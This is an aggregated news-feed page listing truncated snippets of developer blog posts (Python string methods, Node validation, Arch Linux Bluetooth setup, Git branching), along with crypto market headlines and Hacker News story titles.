    This article was originally written and published on Medium on April 10, 2022. I'm migrating some of my favorite posts to dev.to to begin posting new content again. While developing in PHP and Node/React in the past I often dreamily wished I was able to see the servers log output in the browser or JavaScript console. As a newcomer to C#, Blazor and ASP.NET Core I have set myself the goal of familiarising myself with the stack by building a small prototype/feature each week and formalising that knowledge by doing a quick write up in a blog. Yesterday I was hooking up NLog in Blazor and wondering what I should build for my first post and the idea to see if I could make good on my dream of getting server log output into the browser came back to me. “JUST DO IT” We will walk through one appro…  ( 14 min )
    Stepping into JavaScript
    What is JavaScript? JavaScript is a high-level,dynamic and interpreted programming language used to make websites interactive. we can use it to control anything like data validation, button functionality,animation updates and more. Every value in JavaScript has a specific type. This type determines what operations can be performed on the value and how it is stored. There are 8 basic data types in JavaScript String Number Bigint Boolean Undefined Null Symbol Object In a programming language, variables are used to store data values. JavaScript uses the keywords var,let and const to declare variables. Only use var if you MUST support old browsers. use let when reassignment is needed Always use const if the value should not be changed Arithmetic Operators Assignment Operators Comparison Operators String Operators Logical Operators Bitwise Operators Ternary Operators Type Operators let str1 = "Hello"; let str2 = "World"; let result = str1 + str2; console.log(result);  ( 5 min )
    Get rid of useEffect for Data: Why React Query is a Game Changer
    This document explores the limitations of using useEffect and useState for data fetching in React applications and introduces React Query as a superior alternative. It highlights the benefits of React Query, such as automatic caching, refetching on focus, built-in loading/error states, and smart syncing, which significantly reduce boilerplate code and improve the overall development experience. The document aims to encourage developers to consider React Query for more efficient and maintainable data management in their React projects. The useEffect + useState Struggle For a long time, the go-to pattern for fetching data in React involved a combination of useEffect and useState. It looked something like this: import React, { useState, useEffect } from 'react'; function MyComponent() { co…  ( 7 min )
    🚀 OpenTofu 1.10 Released: OCI Registry, Simpler S3 State Locking, and AI-Friendly Infra as Code
    The open-source Terraform alternative just got a massive upgrade. OpenTofu 1.10 is here, and it’s the most feature-packed release to date — aimed at cloud-native engineers, CI/CD warriors, and teams embracing secure, modern IaC workflows. Let’s unpack the biggest features with real-world impact 👇 OpenTofu now supports Open Container Initiative (OCI) registries for distributing providers and modules. ✅ Push your infra modules to GitHub Container Registry or Docker Hub Finally, IaC modules are treated like software artifacts! Using Amazon S3 for state storage? Great. ✅ Simplifies setup One less moving part in your Terraform-inspired architecture. You can now encrypt state using your preferred key management solution: AWS KMS HashiCorp Vault Custom providers Ideal for regulated industries an…  ( 6 min )
    endswith in Python
    Buy Me a Coffee☕ *Memos: My post explains replace() with a string and byte string. My post explains removeprefix() and removesuffix() with a string and byte string. My post explains startswith() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.endswith() and bytes.endswith() or bytearray.endswith() can check if suffix is the suffix of a string and byte string respectively as shown below: *Memos: The 1st argument is suffix(Required-Type:str for str.endswith() or bytes-like object for bytes.endswith() and bytearray.endswith()): It's the suffix of zero or more characters. If it's an empty string or byte string, True is returned. Don't use suffix=. The 2nd argument is start(Optional-Type:int or NoneType): It…  ( 6 min )
    How to Validate Request Body with express-validator
    Problem You need to validate incoming JSON data in POST requests to ensure required fields exist, have correct types, and meet specific criteria before processing. const express = require('express'); const { body, validationResult } = require('express-validator'); const app = express(); app.use(express.json()); // Validation middleware const validateUser = [ body('email') .isEmail() .withMessage('Must be a valid email') .normalizeEmail(), body('password') .isLength({ min: 6 }) .withMessage('Password must be at least 6 characters'), body('age') .isInt({ min: 18, max: 100 }) .withMessage('Age must be between 18 and 100') ]; // Route with validation app.post('/api/users', validateUser, (req, res) => { // Check for validation errors const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ success: false, errors: errors.array() }); } // Process valid data const { email, password, age } = req.body; res.json({ success: true, message: 'User created successfully', user: { email, age } }); }); app.listen(3000, () => { console.log('Server running on port 3000'); }); Install express-validator: npm install express-validator express-validator provides middleware functions that validate request data. Each body() call validates a specific field with built-in validators like isEmail(), isLength(), and isInt(). validationResult(req) collects all validation errors. If errors exist, return a 400 status with error details. The validation runs before your route handler, so you always receive clean, validated data when validation passes.  ( 5 min )
    How Voice Input Transformed My Solo Development Workflow
    I've been developing software for almost 3 decades, and I've lost count of how many brilliant ideas vanished between conception and keyboard. You know the feeling – that perfect solution hits you in the shower, during a run, or right as you're falling asleep. Last month, I started dogfooding my own tool – VoiceCommit – to create GitHub issues directly from voice. The results surprised me: I've created 20+ actionable GitHub issues from ideas that would have 100% disappeared within minutes. Here's the truth: It's not about saving time. It's about saving ideas. The Old Reality: Have idea while walking → "I'll remember this" → Open laptop 2 hours later → What was that idea again? Success rate: Maybe 1 in 10 ideas survived The New Reality: Have idea → Pull out phone → 30-second voice note → Gi…  ( 8 min )
    startswith in Python
    Buy Me a Coffee☕ *Memos: My post explains replace() with a string and byte string. My post explains removeprefix() and removesuffix() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.startswith() and bytes.startswith() or bytearray.startswith() can check if prefix is the prefix of a string and byte string respectively as shown below: *Memos: The 1st argument is prefix(Required-Type:str for str.startswith() or bytes-like object for bytes.startswith() and bytearray.startswith()): It's the prefix of zero or more characters. If it's an empty string or byte string, True is returned. Don't use prefix=. The 2nd argument is start(Optional-Type:int or NoneType): It's a start index. If it's not set or None, 0 is s…  ( 6 min )
    🔥 10 Prompt Engineering Hacks Every Developer Should Know
    Hey community! 👋 AI tools like ChatGPT, Claude, and Gemini are game-changers—but only if you know how to ask the right questions. The quality of your prompt determines the quality of your output. ✅ 1. Set the Role Tell the AI who it should be. Example: ✅ 2. Give Clear Context Context = Better answers. Example: ✅ 3. Be Specific Avoid vague prompts. ❌ Bad: “Explain Docker.” ✅ 4. Use Step-by-Step Instructions Break large tasks into smaller steps. Example: ✅ 5. Add Constraints Limit output for clarity. Example: ✅ 6. Provide Examples Show what you want. Example: ✅ 7. Ask for Multiple Options Get alternatives in one go. Example: ✅ 8. Refine with Iteration Don’t settle for the first answer—improve it. "Rewrite the response in a friendly tone and add real-world examples." ✅ 9. Chain Prompts for Complex Tasks Break content into multiple steps. Example: ✅ 10. Test and Save Your Best Prompts Create a personal prompt library for reuse. 🔥 Wrap-Up: Great prompts = Smarter AI responses. ✔ Define role 💬 What’s your go-to prompt hack? Share it below! 👇  ( 6 min )
    Dynamic Arrays in C
    In this article we will show how to develop a Dynamic Array in C and also talk about the advantages and disadvantages of each strategy of memory initialization for arrays. Basic knowledge of programming (logic, etc); C syntax, allocating variables; Memory management in C: pointers, malloc, calloc, realloc, free; An array that can grow or shrink in size during runtime. Unlike static arrays, which have a fixed size, dynamic arrays automatically resize as elements are added or removed. Is it a good idea to start an array with a small size and then realloc it? It depends. If the current memory block can't be extended contiguously, realloc will allocate a new block and copy all n items. Which results in O(n) operation and can cause an overhead. When prioritizing performance we will prefer to …  ( 8 min )
    How to Host a Static Website on S3 (With Custom Domain & SSL) 🌐🔒
    "Wait—you’re telling me I can host a website without a server... for pennies... and it's secure?" YES. And it's easier than you think. Let’s walk through it—step by step, no jargon, just results. Amazon S3 (Simple Storage Service) is perfect for static websites—sites made with HTML, CSS, JS, no backend (like blogs, portfolios, docs, landing pages). Cheap (free for first 5GB on Free Tier) Scalable (same tech used by Netflix!) No servers to manage Custom domain support Free SSL via CloudFront Real-world analogy: Think of S3 as a super-secure Dropbox that can also serve your files to the whole internet as a website. An AWS account A static website (e.g., index.html, style.css) A domain (from Route 53 or GoDaddy) Go to S3 Console Bucket name = your domain name (e.g., myportfolio.dev) Uncheck …  ( 7 min )
    The Feeling of Posting Article as a beginner
    I'm now writing something about my feeling of posting article on DEV. I have read many of this before, it inspired me to share about my feelings to us. As a beginner, I know that sometimes I don't have many ideas to write about. When I read others word, I can always learn a lot. They tell you the knowledge of programming, but after reading, it is also difficult for me to write something. I just shared one of my projects, it's a simple algorithm. I knew that I don't have many projects to share, maybe sharing some of my feeling, but most of the time I don't know how to write it in words. Some of the feeling can't tell others through words, maybe many of us feel the same, just lack of communication. I just want to write perfect articles, for me, and for everyone. I have been programing for some years, but as a student, I don't have many times to do this. Although I have continue doing this for about 6 years, I'm just a beginner. Programming is not strange to me, but my first article was written in last month. It was my first time to write about my work. I just want to record myself. Although it hasn't been shown to many of others, it is also important to me. It my first post, the first time I try to write something. I'm not perfect in writing articles, but what I need to do is, thinking more, and writing more. Writing needs time and effort, when I write this, I need to think about how to organize my word, how to swich the programming language to natural language. Not just copying and pasting the code, nobody likes it. I want to talk more, but I'm just lack communication. I want to tell many things. I want to talk about my feeling of programing, even how I started writing my first "hello world". It's a long story, just to share it in the future.  ( 6 min )
    CPU Core Deception: The Genius of Virtual Cores and Performance
    Introduction: The White Lie Inside Your Computer Look at your computer's system information. If you have a modern processor, you will likely see a number of "processors" or "threads" that is double the number of actual, physical cores inside your CPU. An 8-core processor might report that it has 16 logical processors. A 12-core chip might appear as a 24-threaded behemoth. This isn't a bug. It's a deliberate and calculated deception—a clever white lie told by the hardware to the operating system. This phenomenon, known generically as Simultaneous Multithreading (SMT) and most famously by Intel's trademark, Hyper-Threading, is one of the most successful performance-enhancing technologies in modern computing. It is a trick designed to solve a fundamental problem of efficiency: the fact that…  ( 13 min )
    join in Python
    Buy Me a Coffee☕ *Memos: My post explains split() with a string and byte string. My post explains rsplit() with a string and byte string. My post explains splitlines() with a string and byte string. My post explains partition() with a string and byte string. My post explains rpartition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.join() and bytes.join() or bytearray.join() can concatenate the zero or more characters of a string and byte string respectively with the zero or more characters of each string and byte string respectively of an iterable as shown below: *Memos The 1st argument is iterable(Required-Type:iterable(str for str.join() or bytes-like object for bytes.join() and bytearray.join())). *D…  ( 7 min )
    Alec Steele: Dogmascus Steel.
    Dogmascus Steel Alec Steele—blacksmith, amateur machinist, and all-around metal maker—invites you behind the scenes of his creative forge. From crafting cool metal pieces to sharing crafty tips, his videos are all about the joy of making and learning new skills. Want to gear up? Grab 10% off your first Squarespace site with code FORGE, join the Discord crew, or support on Patreon. Alec’s also dropping links to his favorite camera, lenses, mics and music sources (Epidemic Sound, SoundStripe) so you can kit out your own workshop while backing the show. Watch on YouTube  ( 5 min )
    The Core Idea: Finding the Best Separator
    Unleashing the Power of SVMs: Understanding the Kernel Trick and Soft Margin Imagine you're sorting fruits – apples on one side, oranges on the other. Easy, right? Now imagine a more complex task: separating different types of apples based on subtle variations in color and size. This is where Support Vector Machines (SVMs) shine. Specifically, the kernel trick and soft margin concepts within SVMs allow us to tackle even the most intricate classification problems, far beyond simple linear separations. This article will demystify these powerful techniques, making them accessible to both beginners and intermediate machine learning enthusiasts. At its heart, an SVM aims to find the optimal hyperplane that best separates data points into different classes. Think of a hyperplane as a line (in …  ( 9 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside’s new “Weapons” trailer shows off thrilling, fast-paced combat where you’ll switch between outrageous weapons, mix up combos, and learn enemy patterns to rescue your little sister—and maybe all of humanity. Developed by Ultizero Games, every battle pulses with spectacular visual effects and frantic, high-octane action. Releasing August 29 on PS5 and PC, this is one you don’t want to miss—strap in for a wild ride. Watch on YouTube  ( 5 min )
    Building an AI-Powered Repository Search with Redis 8 Vector Similarity
    What I Built I created a modern full-stack web application that combines React, Deno, and Redis 8 to deliver AI-powered semantic search capabilities for GitHub repositories. This isn't just another search tool - it's a smart repository discovery platform that understands the meaning behind your queries using vector embeddings and cosine similarity. The application features a sleek React frontend with dark mode support, powered by a robust Deno backend that leverages Redis 8's advanced vector search capabilities. Users can add GitHub repositories to their collection and then search through them using natural language queries that go far beyond simple keyword matching. 🔗 Repository: My Awesome Boilerplate The project showcases a complete implementation of vector similarity search usin…  ( 6 min )
    The CPU's Hidden Language: Decoding Instructions for Ultimate Performance
    Introduction: The Paradox of Added Complexity It sounds like a recipe for inefficiency: the instructions your software painstakingly sends to a processor are not the instructions that the processor actually executes. Instead of acting on them directly, a modern Central Processing Unit (CPU) subjects these commands to a complex, energy-intensive process of translation and decomposition. It's as if you gave a builder a detailed blueprint, only for them to redraw it into a completely different set of plans before picking up a single tool. Why would hardware designers introduce this seemingly redundant layer of complexity? Why not build a processor that simply does what it's told, one instruction at a time? The answer to this question is not just a footnote in a computer engineering textbook…  ( 16 min )
    Here the 3rd part of this series!
    GitOps and IaC at Scale – ArgoCD and Open Tofu – Part 3 – Hardening and Manage users Alejandro Velez for AWS Community Builders ・ Aug 3 #devops #aws #terraform #gitops  ( 5 min )
    How I Installed Windows 11 on macOS Using VMware Fusion (Complete Guide)
    Want to run Windows 11 on your Mac? This step-by-step tutorial shows you how to install Windows 11 on macOS using VMware Fusion. From downloading the tools to final setup, everything's explained in simple terms perfect for students, developers, or anyone switching between operating systems. INTRODUCTION Windows is an operating system, and macOS is another. Running Windows on macOS is known as virtualization. This process requires virtualization software like Parallels, VMware, or VirtualBox to run Windows as a guest operating system on your Mac. By the end of this guide, you’ll be confident in downloading and installing an operating system on your Mac with ease. 1.Downloading VMware Fusion 2.Downloading Windows 11 ISO 3.Installing Windows 11 using VMware Fusion 4.Post-installation Setup…  ( 7 min )
    Beyond basic RAG: Building a multi-cycle reasoning engine on SurrealDB
    While this implementation uses Python, the architectural patterns and SurrealDB integration strategies apply to any language with SurrealDB SDK support. Standard Retrieval-Augmented Generation (RAG) models are powerful but operate on single shot principle: Retrieve then Generate. This approach often fails when faced with complex multi-faceted queries, providing incomplete answers that lack depth. The core limitation is the absence of a feedback loop. This article introduces the Reflexion RAG Engine, a production-ready system that overcomes these limitations through a multi-cycle, self-correcting architecture powered by SurrealDB. It employs a Multi-LLM strategy for Generation, Evaluation, and Synthesis to iteratively refine answers, ensuring higher accuracy and comprehensiveness. SurrealD…  ( 17 min )
  • Open

    Crypto funds see $223M outflow, ending 15-week streak as Fed dampens sentiment
    Profit-taking broke a 15-week winning streak of global cryptocurrency ETPs last week after hawkish remarks that followed last week’s US Fed rate decision.
    ECB: Cash is ‘here to stay’ even as digital euro advances
    ECB Executive Board member Piero Cipollone said that a digital euro will not replace physical money but complement it to preserve payment autonomy.
    White House crypto rules bring SEC-CFTC clarity for US crypto firms: Lawyer
    Carving out clear jurisdictions between the SEC and CFTC may ease investor concerns over ambiguous securities laws, as the most pressing regulatory hurdle for mainstream adoption.
    Is BTC repeating path to $75K? 5 things to know in Bitcoin this week
    Bitcoin tries to recover from its trip below $112,000 as BTC price volatility keeps the market in a state of flux.
    Ether ‘mega whales’ continue buying through weekend dip
    Ether “mega whales” continued buying the cryptocurrency, which dipped and began recovering over the weekend.
    BlackRock Bitcoin ETF set for ‘monstrous lead’ with SEC options boost
    BlackRock’s Bitcoin ETF will get a boost from the SEC’s decision to raise the limit for options contracts 10-fold, NYDIG’s Greg Cipolaro said.
    Bitcoin company Metaplanet kicks off August with first big buy
    Metaplanet scooped up 463 Bitcoin on Monday, making it the first public company to capitalize on the August Bitcoin dip.
    Cardano community approves $71M treasury spend for network upgrades
    Prior to the proposal passing, Cardano's Technical Steering Committee submitted a competing bid and users expressed concern about transparency and accountability.
    $110K support key as Bitcoin enters bear month with a 5% dip: Analyst
    The month of August has historically been a bearish one for Bitcoin, and is already off to a choppy start.
    CFTC starts ‘crypto sprint’ with SEC following White House plans
    The Commodity Futures Trading Commission will work with the Securities and Exchange Commission to implement White House crypto recommendations.
    Trump’s crypto-AI tsar David Sacks: AI job loss is ‘overhyped’
    David Sacks says fears that AI will overtake human jobs are overblown, while a recent Microsoft study has flagged the top roles at risk.
  • Open

    ThinkBook Plus Gen 6 – Lenovo’s rollable laptop
    Comments  ( 49 min )
    Lightning on Earth is sparked by a powerful chain reaction from outer space
    Comments  ( 52 min )
    Mastercard deflects blame for NSFW games being taken down
    Comments  ( 58 min )
    HTMX is hard, so let's get it right
    Comments  ( 18 min )
    Candidates say they'd rather risk staying unemployed than talk to another robot
    Comments  ( 35 min )
    Rising Young Worker Despair in the United States
    Comments  ( 3 min )
    A parser for TypeScript types, written in TypeScript types
    Comments  ( 5 min )
    Poorest US workers hit hardest by slowing wage growth
    Comments  ( 6 min )
    Why doctors hate their computers (2018)
    Comments  ( 187 min )
  • Open

    French MPs Float Plan to Mine Bitcoin With Surplus Nuclear Energy
    The proposal aims to take advantage of surplus energy generated by nuclear power plants, with one MP describing it as a "secure and extremely profitable solution".  ( 25 min )
    Bitcoin and Gold ETFs Combined Break $500B Barrier
    Gold remains dominant, but bitcoin ETFs post 8x growth since US launch, reshaping the ETF landscape.  ( 27 min )
    Metaplanet Doubles Down on Bitcoin as Shares Slide, Buys Another $54M
    The Japanese company's purchase takes its total holdings to more than $1.78 billion in value.  ( 25 min )
    Credit Agricole's Asset Servicing Unit Backs Tokenized SME Exchange in Europe
    CACEIS acquired a minority stake in French fintech Kriptown to support tokenized exchange Lise and simplify SME listings.  ( 27 min )
    Binance Opens 'Bitcoin Options Writing' to All Users
    Binance has opened bitcoin options writing to all users, responding to increased retail demand for advanced trading tools.  ( 28 min )
    Coinbase Slides Nearly 20% in Worst Weekly Performance Since September 2024
    Traders are increasingly seeking downside protection in Coinbase options.  ( 26 min )
    Cardano Community Approves $70M Core Dev Budget, Boosting ADA Prospects
    Proposed technical implementations are designed to lead to increased developer activity and new use cases for applications on the network, contributing to demand for ADA, the network’s gas token.  ( 27 min )
    DOGE Rally Stalls at 20-Cents, But Large Holder Activity Flashes Bullish Signs
    The rally was driven by consistent accumulation and large holder activity, with key breakouts at $0.194, $0.196, and $0.198.  ( 28 min )
    Bitcoin Still on Track for $140K This Year, But 2026 Will be Painful: Elliott Wave Expert
    Elliott wave expert suggests a potential BTC peak at around $140K followed by a bear market in 2026.  ( 29 min )
    XRP Surges, Stalls at $3 as Trading Volume Triples on Profit Booking
    No content preview  ( 26 min )
    XRP Leads Market Gains, Bitcoin Nears $115K as Trump Tariffs Sour Bullish Crypto Mood
    “The dip was driven by concerns over Trump’s tariff stance and the Fed’s signal that it’s not keen to cut rates soon,” one trader said.  ( 28 min )
    Conflux's CFX Rallies on China Buzz, But Analysts Believe Fundamentals Still Lag
    Despite bullish headlines and China ties, Conflux’s on-chain metrics remain weak even as insiders say Beijing might be warming up to some forms of digital assets.  ( 26 min )

  • Open

    Typed languages are better suited for vibecoding
    Comments  ( 1 min )
    Learnable Programming (2012)
    Comments  ( 32 min )
    Names are not type safety (2020)
    Comments  ( 10 min )
    How to Grow Almost Anything
    Comments
    A study of lights at night suggests dictators lie about economic growth (2022)
    Comments  ( 14 min )
    Speech may have a universal transmission rate: 39 bits per second
    Comments
    So you want to parse a PDF?
    Comments  ( 5 min )
    Tell HN: I'm tired of formulaic, "LLM house style" show HN submissions
    Comments  ( 3 min )
    'A black hole': New graduates discover a dismal job market
    Comments  ( 63 min )
    "If you can rack it, you can run UniFi OS" Ubiquiti self-hosted UniFi OS release
    Comments  ( 8 min )
    Writing a Good Design Document
    Comments  ( 4 min )
    Critcl – C Runtime in Tcl
    Comments  ( 2 min )
    Freshwater loss from land is the lead driver of sea-level rise
    Comments  ( 6 min )
    The Dollar Is Dead
    Comments
    Show HN: Spatial Web Browser Engine
    Comments  ( 1 min )
    Modern Node.js Patterns
    Comments  ( 9 min )
    ChatGPT Chats Were Indexed Then Removed from Search but Still Remain Online
    Comments  ( 14 min )
    The US Relies on 51 Forty-five-year-old ships to Transport its Military Overseas [video]
    Comments
    Ex-Barclays VP who completed a PhD in prison: "All my former colleagues ignore"
    Comments
    Show HN: Turn impulse buys into dream investments
    Comments
    Yosemite embodies the long war over US national park privatization
    Comments  ( 15 min )
    Converge (YC S23) well-capitalized New York startup seeks product developers
    Comments  ( 13 min )
    UN Report Finds UN Reports Are Not Widely Read
    Comments
    How Python grew from a language to a community
    Comments
    Anthropic: Persona Vectors
    Comments  ( 23 min )
    Time is running out for Tim Cook: Apple lacks strategic vision
    Comments  ( 31 min )
    This Old SGI: notes and memoirs on the Silicon Graphics 4D series (1996)
    Comments  ( 82 min )
    The Fulbright Program: Chock Full of Bright Ideas
    Comments  ( 3 min )
    $83B Wasted: Showing Up at the Airport 3 Hours Before Your Flight
    Comments  ( 21 min )
    Falcon-H1: A Family of Hybrid-Head Models Redefining Efficiency and Performance
    Comments  ( 3 min )
    Why you're going to see more swimming pools in strip malls
    Comments  ( 14 min )
    How to Make Almost Anything Course at MIT (TA Perspective)
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    Tokens are getting more expensive
    Comments
    Tesla loses Autopilot wrongful death case in $329M verdict
    Comments  ( 7 min )
    If You're Remote, Ramble
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    EHRs – The Hidden Distraction in Your Doctor's Office
    Comments  ( 50 min )
    Self-Employed, Self-Exhausted
    Comments
    A Real PowerBook: The Macintosh Application Environment on a Pa-RISC Laptop
    Comments  ( 81 min )
    Useful AI coding guide with Claude Code
    Comments  ( 18 min )
    28th International Obfuscated C Code Contest
    Comments  ( 10 min )
    Seed7 – The Extensible Programming Language
    Comments  ( 1 min )
    The Algebra Gatekeepers
    Comments  ( 52 min )
    Writing a basic service for GNU Guix
    Comments  ( 10 min )
    Parsing without ASTs and Optimizing with Sea of Nodes [video]
    Comments
    Show HN: Voltpeek – Vim-inspired oscilloscope software
    Comments  ( 5 min )
    C++26 Reflections adventures and compile-time UML
    Comments  ( 5 min )
  • Open

    Day 13: Advance Git & GitHub for DevOps Engineers
    Git Branching Branching is a fundamental concept in Git that allows you to work on new features or fixes independently from the main codebase. Each project starts with a default branch (usually main or master), and you can create as many additional branches as needed. Once your work is ready, you can merge your branch into another using a pull request. Branches help you safely test changes, build features, and fix issues without disrupting the main project. Git Reset vs Revert Both git reset and git revert help you undo changes in your code, but they serve different purposes: git reset moves the pointer of your branch to a previous state and can modify your commit history (best used in local branches). git revert creates a new commit that undoes the changes from a previous commit, pres…  ( 7 min )
    Learning CS By Building A Computer #0 - An Intro
    Computer science is a huge field, spanning web dev, systems engineering, AI, and more. It’s super easy to dive into high-level stuff like building apps or websites with modern tools and frameworks. But that ease means a lot of people skip the low-level basics. How computers actually work, how code becomes machine instructions, or what’s happening in the hardware. Knowing this stuff, like memory management or how the CPU and OS interact, gives you a deeper edge. You’re not just coding—you understand why things work or break. The industry pushes quick results, and focus on job-ready skills, so the low-level foundations often get ignored. But grasping what we are doing is what makes us a better developer. Your enthusiasm for relearning computer science as a self-taught enthusiast is infectious! Diving deep into the world of computer science is thrilling, but the complexity of how computers work can feel daunting. So, how do we tackle this? How do we unravel the intricate layers of a computer’s inner workings and build a solid understanding from the ground up? But common we are devs; we work with complex systems everyday. Alright, so how are we going to do this? The answer has been right in front of us all along: books. There are countless books we could follow, but I’m going to focus on the one i am reading. "The Elements of Computing Systems" - Noam Nisan and Shimon Schocken. It is a fantastic resource I discovered while browsing the internet. tackling every problem from the ground up in a beautifully clear and engaging way. I’ll soon share updates on my progress with this project, detailing my learnings and celebrating the joy of engineering. Thanks for reading! Note: I am also a beginner, trying to learn. So if you have something for me to learn. Contact Me!  ( 6 min )
    QEMU QAPI Client for Go — Native Code-Gen Straight from QEMU
    Ever glued together socat, raw JSON, and a prayer just to talk to QEMU from Go? I did—until one missing comma killed an overnight CI run. So I bolted a Go backend onto QEMU’s own QAPI generator, and now every VM call is type-safe, fully async, and always in sync with upstream. ➡️ Check out the project on GitHub QEMU already ships a rich JSON interface (QAPI), yet Go developers still end up: Writing raw JSON by hand – easy to mistype, hard to test. Chasing partial wrappers – most cover only “common” commands. Fixing silent schema drift. Fully typed bindings for every command, struct, and enum in qapi-schema.json. Async events & requests via goroutines and channels—no polling loops. Transport helpers for QMP, QGA, serial pipes, TCP, stdio… the lot. Schema-sync guarantee – regenerate on eac…  ( 6 min )
    rpartition in Python
    Buy Me a Coffee☕ *Memos: My post explains split() with a string and byte string. My post explains rsplit() with a string and byte string. My post explains splitlines() with a string and byte string. My post explains partition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.rpartition() and bytes.rpartition() or bytearray.rpartition() can split a string and byte string respectively at the 1st occurrence of a separator, searching from the right to the left as shown below: *Memos: The 1st argument is sep(Required-Type:str for str.rpartition() or bytes-like object for bytes.rpartition() and bytearray.rpartition()): It's the separator of the one or more characters to separate a string or byte string. An empt…  ( 6 min )
    partition in Python
    Buy Me a Coffee☕ *Memos: My post explains split() with a string and byte string. My post explains rsplit() with a string and byte string. My post explains splitlines() with a string and byte string. My post explains rpartition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.partition() and bytes.partition() or bytearray.partition() can split a string and byte string respectively at the 1st occurrence of a separator, searching from the left to the right as shown below: *Memos: The 1st argument is sep(Required-Type:str for str.partition() or bytes-like object for bytes.partition() and bytearray.partition()): It's the separator of the one or more characters to separate a string or byte string. An empty str…  ( 6 min )
    splitlines in Python
    Buy Me a Coffee☕ *Memos: My post explains split() with a string and byte string. My post explains rsplit() with a string and byte string. My post explains partition() with a string and byte string. My post explains rpartition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.splitlines() and bytes.splitlines() or bytearray.splitlines() can split a string and byte string respectively at one or more line boundaries as shown below: *Memos: The 1st argument is keepends(Optional-Default:False-Type:bool). *If keepends is True, one or more line boundaries are included otherwise they aren't included. These below are line boundaries: \n Line Feed \r Carriage Return \r\n Carriage Return + Line Feed \v…  ( 7 min )
    How to Setup Bluetooth in Arch Linux
    To install and enable Bluetooth on Arch Linux install the following packages sudo pacman -S bluez sudo pacman -S bluez-utils sudo pacman -S blueman If your blueman-manager is not working, Enable and start the Bluetooth service Start the Bluetooth service: sudo systemctl start bluetooth.service If you still cannot connect to the Bluetooth earpiece Try installing pulseaudio-bluetooth package: sudo pacman -S pulseaudio-bluetooth restart PulseAudio with this command: pulseaudio -k You can see if the Bluetooth earpiece is connected on the pulseaudio. This package pulseaudio-bluetoothBluetooth support for PulseAudio For PulseAudio: Ensure that the pulseaudio-bluetooth package is installed. This module is responsible for automatically switching audio output to a connected Bluetooth device. If it's installed but not working, check the /etc/pulse/default.pa file and ensure the following lines are not commented out: load-module module-switch-on-connect If it is commented out, you can uncomment the line or type this on the /etc/pulse/default.pa file and then restart the pulseaudio Restart pulseaudio pulseaudio -k And you can also restart the Bluetooth service: Stop the Bluetooth service: sudo systemctl stop bluetooth.service Remove the Bluetooth cache directory: sudo rm -r /var/lib/bluetooth Start the Bluetooth service again: sudo systemctl start bluetooth.service This will create a new, empty Bluetooth cache.  ( 6 min )
    Pythonista - GIL opcional
    Conheça o "GIL" O GIL e o futuro - agora presente no Python-3.13 em diante. O Python Global Interpreter Lock (GIL)[^GIL] é um mecanismo de sincronização que permite que apenas uma thread execute código Python por vez em um processo. É uma das características mais distintivas e, por vezes, controversas da implementação padrão do Python (CPython). Adaptado do original publicado em: https://www.adrianovieira.eng.br/posts/development/python/python-gil/ O GIL é essencialmente um mutex global que protege o acesso aos objetos Python, Quando uma thread precisa executar código Python, ela deve primeiro adquirir o GIL. O GIL foi criado para resolver problemas de gerenciamento de memória no CPython: Proteção do contador de referências: O Python usa contagem de referências para gerenciamento de memó…  ( 7 min )
    Context Engineering: Building Better AI Agents
    If you've been building with LLMs for a while, you've probably experienced that moment when the model feels like it's more of a hindrance than a help. Worsening quality of answers, constant reminders to start a new chat window, and constraints that continually get forgotten. These are all symptoms of what happens when the models context starts to get too polluted. When building ai agents these problems can be the difference between having a reliable production ready agent and having a system that works great in your local tests but breaks in production. To bridge this gap and have a consistently reliable agentic system, you need to know how to effectively manage context. This is where context engineering comes into play and is essential for reliable agent building at scale. Before we dive …  ( 9 min )
    LeetCode 1: Two Sum (C#)
    LeetCode 1: Two Sum Problem: Given an array of integers nums and an integer target, return indices of the two numbers such that they add up to target. You may assume that each input would have exactly one solution, and you may not use the same element twice. You can return the answer in any order. public int[] TwoSum(int[] numbers, int targetSum) { var numberToIndex = new Dictionary(); for (int currentIndex = 0; currentIndex < numbers.Length; currentIndex++) { int currentNumber = numbers[currentIndex]; int requiredNumber = targetSum - currentNumber; if (numberToIndex.ContainsKey(requiredNumber)) { return new int[] { numberToIndex[requiredNumber], currentIndex }; } if (!numberToIndex.ContainsKey(currentNumber)) { numberToIndex[currentNumber] = currentIndex; } } throw new InvalidOperationException("No solution exists for the given input."); } Instead of checking every pair with a nested loop, we can use a dictionary to remember the numbers we’ve seen as we scan the array, storing the value and its index. We loop through each number, and subtract it from the target. If the result exists in the Dictionary, we know we've found our two numbers and can return the indexes of these numbers. But wait how does result = target - currentNumber give us the two numbers? Well, because if we can't find a match we still add the currentNumber to the Dictionary, so we keep a record we've seen that number somewhere in the array. Target is 20; result = 20 - 7 = 13 index of 13 and index of currentNumber and Bingo we have our two numbers. Well, simply because all paths in a code base need to return a result. However, instead of returning [0,0] which is wrong, we throw an exception to show we've handled all paths, but wasn't a valid outcome.  ( 6 min )
    rsplit in Python
    Buy Me a Coffee☕ *Memos: My post explains split() with a string and byte string. My post explains splitlines() with a string and byte string. My post explains partition() with a string and byte string. My post explains rpartition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.rsplit() and bytes.rsplit() or bytearray.rsplit() can split a string and byte string respectively from the right to the left as shown below: *Memos: The 1st argument is sep(Optional-Default:None-Type:str for str.rsplit(), bytes-like object for bytes.rsplit() and bytearray.rsplit() or NoneType): It's the delimiter of the one or more characters to delimit a string or byte string. An empty string or byte string cannot be set. The 2nd…  ( 8 min )
    split in Python
    Buy Me a Coffee☕ *Memos: My post explains rsplit() with a string and byte string. My post explains splitlines() with a string and byte string. My post explains partition() with a string and byte string. My post explains rpartition() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.split() and bytes.split() or bytearray.split() can split a string and byte string respectively from the left to the right as shown below: *Memos: The 1st argument is sep(Optional-Default:None-Type:str for str.split(), bytes-like object for bytes.split() and bytearray.split() or NoneType): It's the delimiter of the one or more characters to delimit a string or byte string. An empty string or byte string cannot be set. The 2nd argu…  ( 7 min )
    rindex in Python
